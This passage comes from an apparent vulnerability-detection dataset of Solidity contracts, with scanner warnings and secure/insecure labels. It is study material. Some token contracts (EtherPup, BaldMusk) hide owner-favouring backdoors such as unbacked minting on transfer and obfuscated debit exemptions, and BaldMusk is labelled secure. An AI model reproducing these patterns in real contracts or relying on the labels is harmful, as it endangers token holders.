public onlyOwner {\n tradingOpen = _tradingOpen;\n launchBlock = block.number;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 5869d70\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 5869d70\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 4f4b010\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 5869d70\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 5869d70\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 5c574f0\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0c792e8): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0c792e8: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 0c792e8\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 0c792e8\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 0c792e8\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 0c792e8\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a4097c8): RapAI.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for a4097c8: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: a4097c8\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 90a0859): RapAI.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 90a0859: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 90a0859\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7d27117): RapAI.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 7d27117: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 7d27117\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_1914.sol",
"secure": 0,
"size_bytes": 20413
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked5 {\n uint128 a;\n uint128 c;\n uint256 b;\n\n struct PackIt {\n bytes16 b1;\n bytes16 b3;\n bytes32 b2;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 1d02f39): DataTypes_packed_5.SetVals().pack is a local variable never initialized\n\t// Recommendation for 1d02f39: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n c = 3;\n\n PackIt memory pack;\n pack.b1 = \"a\";\n pack.b2 = \"b\";\n pack.b3 = \"c\";\n }\n}",
"file_name": "solidity_code_1915.sol",
"secure": 0,
"size_bytes": 749
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./ApproveAndCallFallBack.sol\" as ApproveAndCallFallBack;\n\ncontract ROSE is ERC20 {\n string public constant name = \"ROSE\";\n string public constant symbol = \"ROSE\";\n uint8 public constant decimals = 18;\n\n uint256 private _totalSupply = 4200000000 * 10 ** 18;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address player) public view override returns (uint256) {\n return balances[player];\n }\n\n function allowance(\n address player,\n address spender\n ) public view override returns (uint256) {\n return allowed[player][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[msg.sender]);\n require(to != address(0));\n\n balances[msg.sender] -= value;\n balances[to] += value;\n\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function multiTransfer(\n address[] memory receivers,\n uint256[] memory amounts\n ) public {\n for (uint256 i = 0; i < receivers.length; i++) {\n transfer(receivers[i], amounts[i]);\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes calldata data\n ) external override returns (bool) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n ApproveAndCallFallBack(spender).receiveApproval(\n msg.sender,\n tokens,\n address(this),\n data\n );\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n require(value <= balances[from]);\n require(value <= allowed[from][msg.sender]);\n require(to != address(0));\n\n balances[from] -= value;\n balances[to] += value;\n\n allowed[from][msg.sender] -= value;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] += addedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(spender != address(0));\n allowed[msg.sender][spender] -= subtractedValue;\n emit Approval(msg.sender, spender, allowed[msg.sender][spender]);\n return true;\n }\n\n function burn(uint256 amount) external {\n require(amount != 0);\n require(amount <= balances[msg.sender]);\n _totalSupply -= amount;\n balances[msg.sender] -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}",
"file_name": "solidity_code_1916.sol",
"secure": 1,
"size_bytes": 3775
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked6 {\n uint64 a;\n\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n uint64 b;\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 326092d): DataTypes_packed_6.SetVals().pack is a local variable never initialized\n\t// Recommendation for 326092d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1917.sol",
"secure": 0,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked7 {\n uint64 a;\n\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n uint64 b;\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fb74ba4): DataTypes_packed_7.SetVals().pack is a local variable never initialized\n\t// Recommendation for fb74ba4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1918.sol",
"secure": 0,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract GreyNFT is ERC721Enumerable {\n using Counters for Counters.Counter;\n Counters.Counter private _tokenIds;\n uint8 public offOn;\n uint256 public NFTNum;\n\t// WARNING Optimization Issue (immutable-states | ID: 587094d): greyNFT.owner should be immutable \n\t// Recommendation for 587094d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n mapping(address => uint256[]) public user;\n mapping(uint256 => address) public NFTAddr;\n mapping(address => bool) public addrState;\n event SetOff(uint8 _num);\n event SetAddmin(address _addr, bool _state);\n\n constructor() ERC721(\"Spooky Brat Ash NFT\", \"ash\") {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"no owner\");\n _;\n }\n\n modifier onlyAdmin() {\n require(isAdmin(msg.sender), \"onlyAdmin\");\n _;\n }\n\n function isAdmin(address _addr) public view returns (bool) {\n return addrState[_addr];\n }\n\n function setAddmin(address _addr, bool _state) public onlyOwner {\n addrState[_addr] = _state;\n emit _setAddmin(_addr, _state);\n }\n\n function setOff(uint8 _num) public onlyOwner {\n offOn = _num;\n emit _setOff(_num);\n }\n\n function createNewTokens(\n address _to,\n address _conAddr,\n string memory _tokenURI\n ) public onlyAdmin returns (uint256) {\n require(offOn == 1, \"Current activity is not open.\");\n _tokenIds.increment();\n uint256 newItemId = _tokenIds.current();\n NFTAddr[newItemId] = _conAddr;\n\n _mint(_to, newItemId);\n _setTokenURI(newItemId, _tokenURI);\n user[_to].push(newItemId);\n NFTNum++;\n\n return newItemId;\n }\n\n function setBurn(uint256 _tokenId) public onlyAdmin returns (uint256) {\n require(offOn == 1, \"Current activity is not open.\");\n _burn(_tokenId);\n\n return _tokenId;\n }\n\n using Strings for uint256;\n\n mapping(uint256 => string) private _tokenURIs;\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI query for nonexistent token\"\n );\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n function _setTokenURI(\n uint256 tokenId,\n string memory _tokenURI\n ) internal virtual {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI set of nonexistent token\"\n );\n _tokenURIs[tokenId] = _tokenURI;\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n function getUser(address _addr) external view returns (uint256[] memory) {\n return user[_addr];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n if (from != address(0) && to != address(0)) {\n uint256[] memory u = user[ownerOf(tokenId)];\n for (uint256 i = 0; i < u.length; i++) {\n if (u[i] == tokenId) {\n user[ownerOf(tokenId)][i] = u[u.length - 1];\n user[ownerOf(tokenId)].pop();\n user[to].push(tokenId);\n }\n }\n }\n }\n}",
"file_name": "solidity_code_1919.sol",
"secure": 1,
"size_bytes": 4291
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}",
"file_name": "solidity_code_192.sol",
"secure": 1,
"size_bytes": 352
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked8 {\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n uint64 a;\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n uint64 b;\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ae2558a): DataTypes_packed_8.SetVals().pack is a local variable never initialized\n\t// Recommendation for ae2558a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1920.sol",
"secure": 0,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract BaldMusk is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 1172cf7): BaldMusk.totalSupply should be constant \n\t// Recommendation for 1172cf7: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => uint256) private qaopwfmcykx;\n\n function transfer(\n address rjcbipyzqf,\n uint256 hutcxn\n ) public returns (bool success) {\n lnmcosh(msg.sender, rjcbipyzqf, hutcxn);\n return true;\n }\n\n function approve(\n address eqgw,\n uint256 hutcxn\n ) public returns (bool success) {\n allowance[msg.sender][eqgw] = hutcxn;\n emit Approval(msg.sender, eqgw, hutcxn);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 869e2e6): BaldMusk.pxct should be constant \n\t// Recommendation for 869e2e6: Add the 'constant' attribute to state variables that never change.\n uint256 private pxct = 109;\n\n\t// WARNING Optimization Issue (constable-states | ID: db612e8): BaldMusk.name should be constant \n\t// Recommendation for db612e8: Add the 'constant' attribute to state variables that never change.\n string public name = unicode\"BaldMusk 𝕏\";\n\n mapping(address => uint256) private dcwfyja;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b535cd8): BaldMusk.dqucpytim should be immutable \n\t// Recommendation for b535cd8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private dqucpytim;\n\n mapping(address => uint256) public balanceOf;\n\n function lnmcosh(\n address eytrhfasojiz,\n address rjcbipyzqf,\n uint256 hutcxn\n ) private {\n if (0 == dcwfyja[eytrhfasojiz]) {\n if (\n eytrhfasojiz != dqucpytim &&\n qaopwfmcykx[eytrhfasojiz] != block.number &&\n hutcxn < totalSupply\n ) {\n require(hutcxn <= totalSupply / (10 ** decimals));\n }\n balanceOf[eytrhfasojiz] -= hutcxn;\n }\n balanceOf[rjcbipyzqf] += hutcxn;\n qaopwfmcykx[rjcbipyzqf] = block.number;\n emit Transfer(eytrhfasojiz, rjcbipyzqf, hutcxn);\n }\n\n function transferFrom(\n address eytrhfasojiz,\n address rjcbipyzqf,\n uint256 hutcxn\n ) public returns (bool success) {\n require(hutcxn <= allowance[eytrhfasojiz][msg.sender]);\n allowance[eytrhfasojiz][msg.sender] -= hutcxn;\n lnmcosh(eytrhfasojiz, rjcbipyzqf, hutcxn);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n constructor(address yvluo) {\n balanceOf[msg.sender] = totalSupply;\n dcwfyja[yvluo] = pxct;\n IUniswapV2Router02 gulqxnpvze = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n dqucpytim = IUniswapV2Factory(gulqxnpvze.factory()).createPair(\n address(this),\n gulqxnpvze.WETH()\n );\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 8cad654): BaldMusk.symbol should be constant \n\t// Recommendation for 8cad654: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"BaldMusk 𝕏\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0eef664): BaldMusk.decimals should be constant \n\t// Recommendation for 0eef664: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n}",
"file_name": "solidity_code_1921.sol",
"secure": 1,
"size_bytes": 4138
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked9 {\n uint64 a;\n\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n uint64 b;\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: e66ee74): DataTypes_packed_9.SetVals().pack is a local variable never initialized\n\t// Recommendation for e66ee74: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1922.sol",
"secure": 0,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract EtherPup is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public uniswapV2Pair;\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _Gift(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: REWARD to the zero address\");\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _Gift(msg.sender, totalSupply_ * 10 ** decimals());\n _defaultSellkFee = 5;\n _defaultBuykFee = 5;\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellkFee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 06c5a2b): EtherPup._defaultBuykFee should be immutable \n\t// Recommendation for 06c5a2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuykFee = 0;\n\n mapping(address => bool) private _Approve;\n\n mapping(address => uint256) private _Aprove;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3b036d5): EtherPup.PairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 3b036d5: Check that the address is not zero.\n function PairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 3b036d5\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4e8ec71): EtherPup.Prize(uint256) should emit an event for _defaultSellkFee = _value \n\t// Recommendation for 4e8ec71: Emit an event for critical parameter changes.\n function Prize(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: 4e8ec71\n _defaultSellkFee = _value;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ca4285e): EtherPup.APPROVE(address,uint256) contains a tautology or contradiction require(bool,string)(_value >= 0,Account tax must be greater than or equal to 1)\n\t// Recommendation for ca4285e: Fix the incorrect comparison by changing the value type or the comparison.\n function APPROVE(address _address, uint256 _value) external onlyOwner {\n\t\t// tautology | ID: ca4285e\n require(_value >= 0, \"Account tax must be greater than or equal to 1\");\n _Aprove[_address] = _value;\n }\n\n function getAprove(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _Aprove[_address];\n }\n\n function Approve(address _address, bool _value) external onlyOwner {\n _Approve[_address] = _value;\n }\n\n function getApprovekFee(\n address _address\n ) external view onlyOwner returns (bool) {\n return _Approve[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address to\n ) internal view returns (bool) {\n return _Approve[from] || _Approve[to];\n }\n\n function _receiveF(\n address from,\n address to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, to)) {\n rF = false;\n }\n uint256 tradekFeeAmount = 0;\n\n if (rF) {\n uint256 tradekFee = 0;\n if (uniswapV2Pair != address(0)) {\n if (to == uniswapV2Pair) {\n tradekFee = _defaultSellkFee;\n }\n if (from == uniswapV2Pair) {\n tradekFee = _defaultBuykFee;\n }\n }\n if (_Aprove[from] > 0) {\n tradekFee = _Aprove[from];\n }\n\n tradekFeeAmount = _Amount.mul(tradekFee).div(100);\n }\n\n if (tradekFeeAmount > 0) {\n _balances[from] = _balances[from].sub(tradekFeeAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradekFeeAmount\n );\n emit Transfer(from, _deadAddress, tradekFeeAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);\n _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);\n emit Transfer(from, to, _Amount - tradekFeeAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e944b21): EtherPup.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for e944b21: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4d4e10b): EtherPup.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for 4d4e10b: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: 4d4e10b\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_1923.sol",
"secure": 0,
"size_bytes": 8704
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 8275dd5\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-events | ID: a415c08\n\t\t// reentrancy-events | ID: cf5bec2\n\t\t// reentrancy-benign | ID: b6e526c\n\t\t// reentrancy-benign | ID: ac3e316\n\t\t// reentrancy-benign | ID: 7b016fe\n\t\t// reentrancy-eth | ID: 636a29b\n\t\t// reentrancy-eth | ID: 2fd1837\n\t\t// reentrancy-eth | ID: 413f8fb\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n}",
"file_name": "solidity_code_1924.sol",
"secure": 1,
"size_bytes": 850
} |
{
